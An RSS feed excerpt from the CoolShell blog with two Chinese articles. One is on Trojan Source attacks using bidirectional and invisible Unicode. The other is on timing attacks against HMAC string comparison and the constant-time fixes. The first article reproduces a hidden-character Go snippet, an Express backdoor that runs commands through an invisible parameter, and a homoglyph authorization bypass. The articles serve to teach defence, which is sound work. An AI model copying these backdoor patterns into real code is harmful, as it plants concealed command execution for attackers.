		<title>源代码特洛伊木马攻击</title>
		<link>https://coolshell.cn/articles/21649.html</link>
					<comments>https://coolshell.cn/articles/21649.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Fri, 19 Nov 2021 09:02:46 +0000</pubDate>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[Unicode]]></category>
		<category><![CDATA[木马]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=21649</guid>

					<description><![CDATA[<p>最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/21649.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/21649.html">源代码特洛伊木马攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-full wp-image-21658" src="https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv.jpg" alt="" width="340" height="270" srcset="https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv.jpg 340w, https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-300x238.jpg 300w" sizes="(max-width: 340px) 100vw, 340px" />最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本，中文直译作 “双向文本”，意思是一些语言是从左到右的，而另一些则是是从右到左的（如：阿拉伯语），如果同一个文件里，即有从左向右的文本也有从右向左文本两种的混搭，那么，就叫bi-direction。术语通常缩写为“ <b>BiDi</b> ”或“ <b>bidi</b> ”。使用双向文本对于中国人来说并不陌生，因为中文又可以从左到右，也可以从右到左，还可以从上到下。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-21652" src="https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-1024x329.jpg" alt="" width="640" height="206" srcset="https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-1024x329.jpg 1024w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-300x96.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-768x247.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427-604x194.jpg 604w, https://coolshell.cn/wp-content/uploads/2021/11/1637305049427.jpg 1288w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持，但不容易支持从右到左的脚本，例如阿拉伯语或希伯来语，并且将两者混合使用更是不可能。从右到左的脚本是通过<a title="ISO/IEC 8859-6" href="https://en.wikipedia.org/wiki/ISO/IEC_8859-6">ISO/IEC 8859-6</a>和<a title="ISO/IEC 8859-8" href="https://en.wikipedia.org/wiki/ISO/IEC_8859-8">ISO/IEC 8859-8</a>等编码引入的，通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序，但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持，可以在同一页面上混合来自不同脚本的字符，而不管书写方向如何。</p>
<p><span id="more-21649"></span></p>
<p>双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说，其标准为完整的 BiDi 支持提供了基础，其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。</p>
<p>好的，科普完“双向文本”后，我们正式进入正题，为什么Github 会出这个警告？Github的官方博客“<a href="https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/" target="_blank" rel="noopener">关于双向Unicode的警告</a>”中说，使用一些Unicode中的用于控制的隐藏字符，可以让你代码有着跟看上去完全不一样的行为。</p>
<p>我们先来看一个示例，下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型，然后计算其中多少个为 1 的 bit。</p>
<pre class="EnlighterJSRAW" data-enlighter-language="golang">package main

import "fmt"

func main() {
  str, mask := "Hello, World!‮10x‭", 0

  bits := 0
  for _, ch := range str {
    for ch &gt; 0 {
      bits += int(ch) &amp; mask
      ch = ch &gt;&gt; 1
    }
  }
  fmt.Println("Total bits set:", bits)
}</pre>
<p>这个代码你看上去没有什么 奇怪的地方，但是你在执行的时候（可以直接上Go Playground上执行  &#8211;<a href="https://play.golang.org/p/e2BDZvFlet0" target="_blank" rel="noopener"> https://play.golang.org/p/e2BDZvFlet0</a>），你会发现，结果是 0，也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事？</p>
<p>如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里，你就可以看到下面这一幕。</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-21653" src="https://coolshell.cn/wp-content/uploads/2021/11/1637307319589.jpg" alt="" width="500" height="324" srcset="https://coolshell.cn/wp-content/uploads/2021/11/1637307319589.jpg 902w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-300x194.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-768x497.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637307319589-417x270.jpg 417w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>其中有两个浅蓝色的尖括号的东西—— <code>&lt;202e&gt;</code> 和 <code>&lt;202d&gt;</code> 。这两个字符是两个Unicode的控制字符（注：完整的双向文本控制字符参看 <a href="https://www.compart.com/en/unicode/bidiclass" target="_blank" rel="noopener">Unicode Bidirectional Classes</a>）：</p>
<ul>
<li><strong>U+202E &#8211; Right-to-Left Override [RLO] </strong><br />
表示，开始从右到左显示，于是，接下来的文本 <code>10x", 0</code> 变成了 <code>0 ,"x01</code></li>
<li><strong>U+202D &#8211; Left-to-Right Override [LRO]</strong><br />
表示，开始从左到右显示，于是，<code>0,"x01</code> 中的前4个字符<code>0 ,"</code> 反转成  <code>", 0</code>，于是整个文本成了 <code>", 0x01</code></li>
</ul>
<p>所以，你在视觉上看到的是结果是—— <code>"Hello, World!”, 0x01</code>， 但是实际上是完全是另外一码事。</p>
<p>然后，Github官方博客中还给了一个安全问题 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574">CVE-2021-42574</a> ——</p>
<blockquote><p>在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序，可用于制作源代码，呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码，从而将目标漏洞引入人类审查者不可见的地方。</p></blockquote>
<p>这个安全问题在剑桥大学的这篇论文“<a href="https://www.trojansource.codes/" target="_blank" rel="noopener">Some Vulnerabilities are Invisible</a>”中有详细的描述。其中PDF版的文章中也给了这么一个示例：</p>
<p>通过双向文本可以把下面这段代码：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-21655" src="https://coolshell.cn/wp-content/uploads/2021/11/1637308872541.jpg" alt="" width="569" height="240" srcset="https://coolshell.cn/wp-content/uploads/2021/11/1637308872541.jpg 692w, https://coolshell.cn/wp-content/uploads/2021/11/1637308872541-300x127.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637308872541-604x255.jpg 604w" sizes="(max-width: 569px) 100vw, 569px" /></p>
<p>伪装成下面的这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-21654" src="https://coolshell.cn/wp-content/uploads/2021/11/1637308847435.jpg" alt="" width="580" height="245" srcset="https://coolshell.cn/wp-content/uploads/2021/11/1637308847435.jpg 692w, https://coolshell.cn/wp-content/uploads/2021/11/1637308847435-300x127.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637308847435-604x255.jpg 604w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p>在图 2 中<code>'alice'</code>被定义为价值 100，然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数，因此该小程序在执行时应该给我们 50 的结果。</p>
<p>然而，图 1 向我们展示了如何使用双向字符来破坏程序的意图：通过插入<strong>RLI (Right To Left Isolate)</strong><i> &#8211; </i><strong>U+2067</strong><i>，</i>我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能，但图 1 的输出变为 100。</p>
<p>除此之外，支持Unicode还可以出现很多其它的攻击，尤其是通过一些“不可见字符”，或是通过“同形字符”在源代码里面埋坑。比如文章“<a href="https://certitude.consulting/blog/en/invisible-backdoor/" target="_blank" rel="noopener">The Invisible Javascript Backdoor</a>”里的这个示例：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="js">const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) =&gt; {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd =&gt; 
                cmd &amp;&amp; exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);</pre>
<p>上面这个代码实现了一个非常简单的网络健康检查，HTTP会执行 <code>ping -c 1 google.com</code> 以及 <code>curl -s http://example.com</code> 这两个命令来查看网络是否正常。其中，可选输入 HTTP 参数<code>timeout</code>限制命令执行时间。</p>
<p>然后，上面这个代码是有不可见的Unicode 字符，如果你使用VSCode，把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-21656" src="https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-1024x923.jpg" alt="" width="640" height="577" srcset="https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-1024x923.jpg 1024w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-300x270.jpg 300w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-768x692.jpg 768w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683-299x270.jpg 299w, https://coolshell.cn/wp-content/uploads/2021/11/1637310735683.jpg 1118w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>于是，一个你看不见的 <code>πàñ</code> 变量就这样生成了，你再仔细看一下整个逻辑，这个看不见的变量，可以让你的代码执行他想要的命令。因为，http 的请求中有第二个参数，这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求：</p>
<p style="text-align: center;"><strong>http://host:port/network_health?%E3%85%A4=&lt;any command&gt;</strong></p>
<p>其中的，%E3%85%A4 就是 <code>\u3164</code> 这个不可见Unicode 的编码，于是，一个后门代码就这样在神不知鬼不觉的情况下注入了。</p>
<p>另外，还可以使用“同形字符”，看看下面这个示例：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">if(environmentǃ=ENV_PROD){
    // bypass authZ checks in DEV
    return true;
}</pre>
<p>如何你以为 <code>ǃ</code> 是 惊叹号，其实不是，它是一个Unicode <code>╟â</code>。这种东西就算你把你的源码转成 DOS(CP437) 也没用，因为用肉眼在一大堆正常的字符中找不正常的，我觉得是基本不可能的事。</p>
<p>现在，是时候检查一下你的代码有没有上述的这些情况了……</p>
<p>（全文完）</p>
<p>&nbsp;</p>
<p>&nbsp;<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/2439.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg" alt="黑客的价值观" width="150" height="150" /></a><a href="https://coolshell.cn/articles/2439.html" class="wp_rp_title">黑客的价值观</a></li><li ><a href="https://coolshell.cn/articles/1957.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg" alt="Web程序的最佳测试数据" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1957.html" class="wp_rp_title">Web程序的最佳测试数据</a></li><li ><a href="https://coolshell.cn/articles/1331.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg" alt="Unicode字符预览表" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1331.html" class="wp_rp_title">Unicode字符预览表</a></li><li ><a href="https://coolshell.cn/articles/3745.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg" alt="再谈敏捷和ThoughtWorks中国咨询师" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3745.html" class="wp_rp_title">再谈敏捷和ThoughtWorks中国咨询师</a></li><li ><a href="https://coolshell.cn/articles/194.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg" alt="Linux 相关的资源站makelinux.net" width="150" height="150" /></a><a href="https://coolshell.cn/articles/194.html" class="wp_rp_title">Linux 相关的资源站makelinux.net</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/21649.html">源代码特洛伊木马攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/21649.html/feed</wfw:commentRss>
			<slash:comments>23</slash:comments>
		
		
			</item>
		<item>
		<title>计时攻击 Timing Attacks</title>
		<link>https://coolshell.cn/articles/21003.html</link>
					<comments>https://coolshell.cn/articles/21003.html#comments</comments>
		
		<dc:creator><![CDATA[tanglei.name]]></dc:creator>
		<pubDate>Sun, 05 Jul 2020 05:26:52 +0000</pubDate>
				<category><![CDATA[程序设计]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HMAC]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=21003</guid>

					<description><![CDATA[<p>本文来自读者“程序猿石头”的投稿文章《这 10 行比较字符串相等的代码给我整懵了，不信你也来看看》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/21003.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/21003.html">计时攻击 Timing Attacks</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright wp-image-21015 " src="https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-300x300.png" alt="" width="240" height="240" srcset="https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-270x270.png 270w, https://coolshell.cn/wp-content/uploads/2020/06/time-bomb.png 512w" sizes="(max-width: 240px) 100vw, 240px" />本文来自读者“程序猿石头”的投稿文章《<a href="http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&amp;mid=100002290&amp;idx=1&amp;sn=8829db16a065f485b257fba0c691d94f&amp;chksm=6b4708165c30810096133f36523c8c781ce5333d851c31905d6cc49dd9b756a3f08141fbc9e8#rd" target="_blank" rel="noopener noreferrer">这 10 行比较字符串相等的代码给我整懵了，不信你也来看看</a>》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进行大量的删减、裁剪、改写和添加，主要删除了一些没有信息的段落，主要加入了如何实施计时攻击相关的其它内容，让这篇文章中的知识更系统一些，并且还指出了其它的一些问题。所以，我把标题也改成了《计时攻击 Timing Attacks》。</p>
<h4>另类的字符串比较</h4>
<p>在 Java 的 Play Framework 里有<a href="https://github.com/playframework/play1/blob/b01eb02eb8df2e94cac2793c028dd9c4c5a57b31/framework/src/play/mvc/CookieDataCodec.java#L82" target="_blank" rel="noopener noreferrer">一段代码</a>用来验证cookie(session)中的数据是否合法（包含签名的验证）的代码，如下所示：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="java">boolean safeEqual(String a, String b) {
   if (a.length() != b.length()) {
       return false;
   }
   int equal = 0;
   for (int i = 0; i &lt; a.length(); i++) {
       equal |= a.charAt(i) ^ b.charAt(i);
   }
   return equal == 0;
}</pre>
<p>相信刚看到这段源码的人会感觉挺奇怪的，这个函数的功能是比较两个字符串是否相等，如果要判断两个字符串是否相等，正常人的写法应该是下面这个样子的（来自JDK8 的 <code>String.equals()</code>-有删减）：</p>
<p><span id="more-21003"></span></p>
<pre class="EnlighterJSRAW" data-enlighter-language="java" data-enlighter-highlight="9,10">public boolean equals(Object anObject) {
    String anotherString = (String)anObject;
    int n = value.length;
    if (n == anotherString.value.length) {
        char v1[] = value;
        char v2[] = anotherString.value;
        int i = 0;
        while (n-- != 0) {
            if (v1[i] != v2[i]) // &lt;- 遇到第一个不一样的字符时退出
                return false;
            i++;
        }
        return true;
    }
    return false;
}</pre>
<p>我们可以看到，在比较两个字符串是否相等的正常写法是：</p>
<ol>
<li>先看一下两个字符串长度是否相等，如果不等直接返回 false。</li>
<li>如果长度相等，则依次判断每个字符是否相等，如果不等则返回 false。</li>
<li>如果全部相等，则返回 true。一旦遇到不一样的字符时，直接返回false。</li>
</ol>
<p>然而，Play Framework里的代码却不是这样的，尤其是上述的第2点，用到了异或，熟悉位操作的你很容易就能看懂，通过异或操作 <code>1^1=0</code> , <code>1^0=1</code>, <code>0^0=0</code>，来比较每一位，如果每一位都相等的话，两个字符串肯定相等，最后存储累计异或值的变量 <code>equal</code>必定为 0（因为相同的字符必然为偶数），否则为 1。</p>
<p>但是，这种异或的方式不是遇到第一个不一样的字符就返回 false 了，而是要做全量比较，这种比较完全没有效率，这是为什么呢？原因是为了安全。</p>
<h4>计时攻击(Timing Attack)</h4>
<p>计时攻击（<a href="https://en.wikipedia.org/wiki/Timing_attack" target="_blank" rel="noopener noreferrer">Wikipedia</a>）是<a href="https://en.wikipedia.org/wiki/Side-channel_attack" target="_blank" rel="noopener noreferrer">旁道攻击</a>(或称&#8221;侧信道攻击&#8221;， Side Channel Attack， 简称SCA) 的一种，<b>旁通道攻击</b>是指基于从计算机系统的实现中获得的信息的任何攻击 ，而不是基于实现的算法本身的弱点（例如，密码分析和软件错误）。时间信息，功耗，电磁泄漏甚至声音可以提供额外的信息来源，可以加以利用。在很多物理隔绝的环境中（黑盒），往往也能出奇制胜，这类新型攻击的有效性远高于传统的密码分析的数学方法。（注：企图通过社会工程学欺骗或强迫具有合法访问权限的人来破坏密码系统通常不被视为旁道攻击）</p>
<p>计时攻击是最常用的攻击方法。那么，正常的字符串比较是怎么被黑客进行时间攻击的呢？</p>
<p>我们知道，正常的字符串比较，一旦遇到每一个不同的字符就返回失败了，所以，理论上来说，前面只有2个字符相同字符串比较的耗时，要比前面有10个字符相同的比较要短。你会说，这能相差多少呢？可能几微秒吧。但是，我们可以放大这个事。比如，在Web应用时，记录每个请求的返回所需请求时间（一般是毫秒级），如果我们重复50次，我们可以查看平均时间或是p50的时间，以了解哪个字符返回的时间比较长，如果某个我们要尝试的字符串的时间比较长，我们就可以确定地得出这个这字符串的前面一段必然是正确的。（当然，你会说网络请求的燥音太多了，在毫秒级的请求上完全没办判断，这个需要用到统计学来降噪，后面会给出方法）</p>
<p>这个事情，可以用来做HMAC的攻击，所谓HMAC，你可以参看本站的《<a title="HTTP API 认证授权术" href="https://coolshell.cn/articles/19395.html" target="_blank" rel="noopener noreferrer">HTTP API 认证授权术</a>》文章了解更多的细节。简单来说，HMAC，就是客户端向服务端发来一个字符串和其签名字符串（HMAC），然后，服务端的程序用一个私钥来对客户端发来的字符串进行签名得到签名字符串，然后再比较这个签名字符串（所谓签名，也就是使用MD5或SHA这样的哈希算法进行编码，是不可逆的）</p>
<p>写成伪代码大概是这个样子：</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">bool verify(message, digest) {
    my_digest = HMAC(key, message);
    return my_digest.equals(digest) ;
}</pre>
<p>于是，攻击者在不知道签名算法和私钥的情况下，但是知道API的调用接口时，就可以通过一边穷举签名，一边统计调用时间的方式来非常有效率的破解签名。在这篇文章《<a href="http://www.eggie5.com/45-hmac-timing-attacks" target="_blank" rel="noopener noreferrer">HMAC Timing Attacks</a>》中记录了整个攻击的过程。文章中记载：</p>
<p>如果一个签名有40个长度，如：<code>f5acdffbf0bb39b2cdf59ccc19625015b33f55fe</code> 攻击者，从 <code>0000000000000000000000000000000000000000</code> 开始穷举，下面是穷举第一个字符（从<code>0</code>到<code>f</code>因为这是HMAC算法的取值范围）的时间统计。</p>
<pre>0 0.005450913
1 0.005829198
2 0.004905407
3 0.005286876
4 0.005597611
5 0.004814430
6 0.004969118
7 0.005335884
8 0.004433182
9 0.004440246
a 0.004860263
b 0.004561121
c 0.004463188
d 0.004406799
e 0.004978907
f 0.004887240
</pre>
<p>可以看到，第一次测试通过的计时结果（以秒为单位），而值“ f”与样品的其余部分之间没有较大的变化量，所有结果看起来都非常接近。换句话说，有很多噪声掩盖了信号。因此，有必要进行多个采样（对测试进行缩放）并使用统计工具从噪声中滤除信号。为了将信号与噪声分开，我们必须按任意常数对测试进行缩放。通过实验，作者发现500是一个很好的数字。换句话说：运行测试500次，并记录500个试验中每个试验的结果。然后，通过人的肉眼观察可以可能看到 f 的调用明显比别的要长，但是这种方法很难自动化。</p>
<p>所以，作者给了另一个统计算法，这个算法向服务器分别从 0 到 f 发出16个请求，并记录每个请求的响应时间，并将它们排序为1-16，其中1是最长（最慢）的请求，而16是最短（最快的请求），分别记录 0 &#8211; f 的名次，然后重复上述的过程 500 次。如下所示（仅显示25个样本，字符“ 0”首先被排名7、1、3，然后再次排名3……）：</p>
<pre>{
"0"=&gt;[7, 1, 3, 3, 15, 5, 4, 9, 15, 10, 13, 2, 14, 9, 4, 14, 7, 9, 15, 2, 14, 9, 14, 6, 11...],
"1"=&gt;[13, 4, 7, 11, 0, 4, 0, 2, 14, 11, 6, 7, 2, 2, 14, 11, 8, 10, 5, 13, 11, 7, 4, 9, 3...],
"2"=&gt;[14, 5, 15, 5, 1, 0, 3, 1, 9, 12, 4, 4, 1, 1, 8, 6, 9, 4, 9, 5, 8, 3, 12, 8, 5...],
"3"=&gt;[15, 2, 9, 7, 2, 1, 14, 11, 7, 8, 8, 1, 4, 7, 12, 15, 13, 0, 4, 1, 7, 0, 3, 0, 0...],
"4"=&gt;[12, 10, 14, 15, 8, 9, 10, 12, 10, 4, 1, 13, 15, 15, 3, 1, 6, 8, 2, 6, 15, 4, 0, 3, 2...],
"5"=&gt;[5, 13, 13, 12, 7, 8, 13, 14, 3, 13, 2, 12, 7, 14, 2, 10, 12, 5, 8, 0, 4, 10, 5, 10, 12...]
"6"=&gt;[0, 15, 11, 13, 5, 15, 8, 8, 4, 7, 12, 9, 10, 11, 11, 7, 0, 6, 0, 9, 2, 6, 15, 13, 14...]
"7"=&gt;[1, 9, 0, 10, 6, 6, 2, 4, 12, 9, 5, 10, 5, 10, 7, 2, 4, 14, 6, 7, 13, 11, 6, 12, 4...],
"8"=&gt;[4, 0, 2, 1, 9, 11, 12, 13, 11, 14, 0, 15, 9, 0, 0, 13, 11, 13, 1, 8, 6, 5, 11, 15, 7...],
"9"=&gt;[11, 11, 10, 4, 13, 7, 6, 3, 2, 2, 14, 5, 3, 3, 15, 9, 14, 7, 10, 3, 0, 14, 1, 5, 15...],
"a"=&gt;[8, 3, 6, 14, 10, 2, 7, 5, 1, 3, 3, 0, 0, 6, 10, 12, 15, 12, 12, 15, 9, 13, 13, 11, 9...],
"b"=&gt;[9, 12, 5, 8, 3, 3, 5, 15, 0, 6, 11, 11, 12, 8, 1, 3, 1, 11, 11, 14, 5, 1, 2, 1, 6...],
"c"=&gt;[6, 7, 8, 2, 12, 10, 9, 10, 6, 1, 10, 8, 6, 4, 6, 4, 3, 2, 7, 11, 1, 8, 7, 2, 13...],
"d"=&gt;[2, 14, 4, 0, 14, 12, 11, 0, 8, 0, 15, 3, 8, 12, 5, 0, 10, 1, 3, 4, 12, 12, 8, 14, 8...],
"e"=&gt;[10, 8, 12, 6, 11, 13, 1, 6, 13, 5, 7, 14, 11, 5, 9, 5, 2, 15, 14, 10, 10, 2, 10, 4, 1...],
"f"=&gt;[3, 6, 1, 9, 4, 14, 15, 7, 5, 15, 9, 6, 13, 13, 13, 8, 5, 3, 13, 12, 3, 15, 9, 7, 10...]
}</pre>
<p>然后将每个字符的500个排名进行平均，得出以下示例输出：</p>
<pre>"f", 5.302
"0", 7.17
"6", 7.396
"3", 7.472
"5", 7.562
"a", 7.602
"2", 7.608
"8", 7.626
"9", 7.688
"b", 7.698
"1", 7.704
"e", 7.812
"4", 7.82
"d", 7.826
"7", 7.854
"c", 7.86</pre>
<p>于是，<code>f</code> 就这样脱颖而出了。然后，再对剩余的39个字符重复此算法。</p>
<p><strong>这是一种统计技术，可让我们从噪声中滤出真实的信号</strong>。因此，总共需要调用：16 * 500 * 40 = 320,000个请求，而蛮力穷举需要花费16 ^ 40个请求。</p>
<p>另外，学术界的这篇论文就宣称用这种计时攻击的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。这篇 <a href="http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf" target="_blank" rel="noopener noreferrer">Remote Timing Attacks are Practical （PDF）</a>论文中指出（我大致翻译下摘要，感兴趣的同学可以通过链接去看原文）：</p>
<blockquote><p>计时攻击往往用于攻击一些性能较弱的计算设备，例如一些智能卡。我们通过实验发现，也能用于攻击普通的软件系统。本文通过实验证明，通过这种计时攻击方式能够攻破一个基于 OpenSSL 的 web 服务器的私钥。结果证明计时攻击用于进行网络攻击在实践中可行的，因此各大安全系统需要抵御这种风险。</p></blockquote>
<p>参考资料：</p>
<ul>
<li>
<section><a href="http://www.cs.sjsu.edu/faculty/stamp/students/article.html">Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension</a></section>
</li>
<li>
<section><a href="http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf">Remote Timing Attacks are Practical</a></section>
</li>
</ul>
<h4>各语言的对应函数</h4>
<p>下面，我们来看看各个语言对计时攻击的对应函数</p>
<p><strong>PHP</strong>: <a href="https://wiki.php.net/rfc/timing_attack" target="_blank" rel="noopener noreferrer">https://wiki.php.net/rfc/timing_attack</a></p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">bool hash_equals ( string $known_string , string $user_string )

boolean password_verify ( string $password , string $hash )</pre>
<p><strong>Java</strong>:  Java 在1.6时是有问题的，其在 1.6.0._17(6u17)才Fix了这个问题（<a href="http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b" target="_blank" rel="noopener noreferrer">相关的fix patch</a>），下面是 <a href="https://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/1832c29655eb/src/share/classes/java/security/MessageDigest.java#l442" target="_blank" rel="noopener noreferrer">JDK8源码</a> &#8211; <code>MessageDigest.isEqual()</code></p>
<pre class="EnlighterJSRAW" data-enlighter-language="java">public static boolean MessageDigest.isEqual(byte[] digesta, byte[] digestb) {
    if (digesta == digestb) return true;
    if (digesta == null || digestb == null) {
        return false;
    }
    if (digesta.length != digestb.length) {
        return false;
    }

    int result = 0;
    // time-constant comparison
    for (int i = 0; i &lt; digesta.length; i++) {
        result |= digesta[i] ^ digestb[i];
    }
    return result == 0;
}</pre>
<p><strong>C/C++</strong>：没有在常用的库中找到相关的函数，还是自己写吧。</p>
<pre class="EnlighterJSRAW" data-enlighter-language="c">int util_cmp_const(const void * a, const void *b, const size_t size) 
{
  const unsigned char *_a = (const unsigned char *) a;
  const unsigned char *_b = (const unsigned char *) b;
  unsigned char result = 0;
  size_t i;

  for (i = 0; i &lt; size; i++) {
    result |= _a[i] ^ _b[i];
  }

  return result; /* returns 0 if equal, nonzero otherwise */
}</pre>
<p><strong>Python</strong> &#8211; 2.7.7+使用 <code>hmac.compare_digest(a, b)</code>，否则，使用如下的Django的代码</p>
<pre class="EnlighterJSRAW" data-enlighter-language="python">#Taken from Django Source Code

def constant_time_compare(val1, val2):
    """
    Returns True if the two strings are equal, False otherwise.

    The time taken is independent of the number of characters that match.

    For the sake of simplicity, this function executes in constant time only
    when the two strings have the same length. It short-circuits when they
    have different lengths.
    """
    if len(val1) != len(val2):
        return False
    result = 0
    for x, y in zip(val1, val2):
        result |= ord(x) ^ ord(y)
    return result == 0</pre>
<p><strong>Go</strong>  &#8211; 使用 <code>crypto/subtle</code> 代码包</p>
